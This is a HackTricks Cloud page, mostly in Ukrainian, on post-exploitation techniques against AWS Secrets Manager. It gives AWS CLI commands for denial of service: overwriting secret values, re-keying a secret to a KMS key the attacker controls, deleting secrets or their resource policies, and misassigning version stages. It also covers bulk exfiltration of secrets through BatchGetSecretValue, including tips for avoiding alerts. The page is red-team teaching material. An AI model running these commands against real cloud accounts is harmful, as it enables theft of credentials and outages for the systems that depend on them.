AWS - Secrets Manager Post Exploitation
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Secrets Manager
Для додаткової інформації див.:
Читання секретів
The секрети самі по собі є чутливою інформацією, перегляньте сторінку privesc, щоб дізнатися, як їх прочитати.
DoS Change Secret Value
Зміна значення секрету може призвести до DoS всіх систем, які залежать від цього значення.
warning
Зверніть увагу, що попередні значення також зберігаються, тож легко повернутися до попереднього значення.
# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"
DoS Change KMS key
Якщо зловмисник має дозвіл secretsmanager:UpdateSecret, він може налаштувати secret на використання KMS key, який належить зловмиснику. Цей ключ спочатку налаштований так, щоб будь-хто міг отримати до нього доступ і використовувати його, тож оновлення secret з новим ключем можливе. Якби ключ був недоступний, secret не вдалося б оновити.
Після зміни ключа для secret зловмисник змінює конфігурацію свого ключа так, щоб лише він мав до нього доступ. Таким чином у наступних версіях secret буде зашифровано новим ключем, і, оскільки доступу до нього не буде, можливість отримати secret буде втрачена.
Важливо зазначити, що ця недоступність виникне лише в пізніших версіях — після того як вміст secret зміниться, оскільки поточна версія все ще зашифрована оригінальним KMS key.
aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
DoS Deleting Secret
Мінімальна кількість днів для видалення секрету — 7
aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7
secretsmanager:RestoreSecret
Можна відновити секрет, що дозволяє відновлювати секрети, які були заплановані на видалення, оскільки мінімальний період видалення для секретів — 7 днів, а максимальний — 30 днів. Разом з дозволом secretsmanager:GetSecretValue це дозволяє отримати їх вміст.
Щоб відновити секрет, який знаходиться в процесі видалення, можна використати наступну команду:
aws secretsmanager restore-secret \
--secret-id <Secret_Name>
secretsmanager:DeleteResourcePolicy
Ця дія дозволяє видаляти політику ресурсу, яка контролює, хто може отримати доступ до secret. Це може призвести до DoS, якщо політика ресурсу була налаштована так, щоб дозволяти доступ певному набору користувачів.
Щоб видалити політику ресурсу:
aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>
secretsmanager:UpdateSecretVersionStage
Стани секрету використовуються для керування версіями секрету. AWSCURRENT позначає активну версію, яку використовують додатки; AWSPREVIOUS зберігає попередню версію, щоб у разі потреби можна було відкотитися; а AWSPENDING використовується в процесі ротації для підготовки та перевірки нової версії перед тим, як зробити її поточною.
Додатки завжди читають версію з AWSCURRENT. Якщо хтось перемістить цей ярлик на неправильну версію, додатки використовуватимуть недійсні облікові дані і можуть відмовити.
AWSPREVIOUS не використовується автоматично. Проте, якщо AWSCURRENT буде видалено або переназначено неправильно, може створитися враження, що все досі працює з попередньою версією.
aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>
Mass Secret Exfiltration via BatchGetSecretValue (до 20 за виклик)
Abuse the Secrets Manager BatchGetSecretValue API, щоб отримати до 20 секретів в одному запиті. Це може значно зменшити обсяг викликів API порівняно з послідовним викликом GetSecretValue для кожного секрету. Якщо використовуються фільтри (теги/ім'я), також потрібен дозвіл ListSecrets. CloudTrail все одно фіксує по одному GetSecretValue event для кожного секрету, отриманого в батчі.
Required permissions
- secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue for each target secret
- secretsmanager:ListSecrets if using --filters
- kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)
warning
Зверніть увагу, що дозвіл secretsmanager:BatchGetSecretValue сам по собі недостатній для отримання секретів — вам також потрібен secretsmanager:GetSecretValue для кожного секрету, який ви хочете отримати.
Exfiltrate by explicit list
aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
Exfiltrate за допомогою фільтрів (tag key/value or name prefix)
# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'
# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20
# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp
Обробка часткових збоїв
# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
Вплив
- Швидке “smash-and-grab” великої кількості секретів з меншою кількістю викликів API, потенційно обходячи сповіщення, налаштовані на сплески GetSecretValue.
- Логи CloudTrail все ще містять по одному GetSecretValue event для кожного секрету, отриманого пакетом.
tip
Вивчайте та практикуйте AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
HackTricks Cloud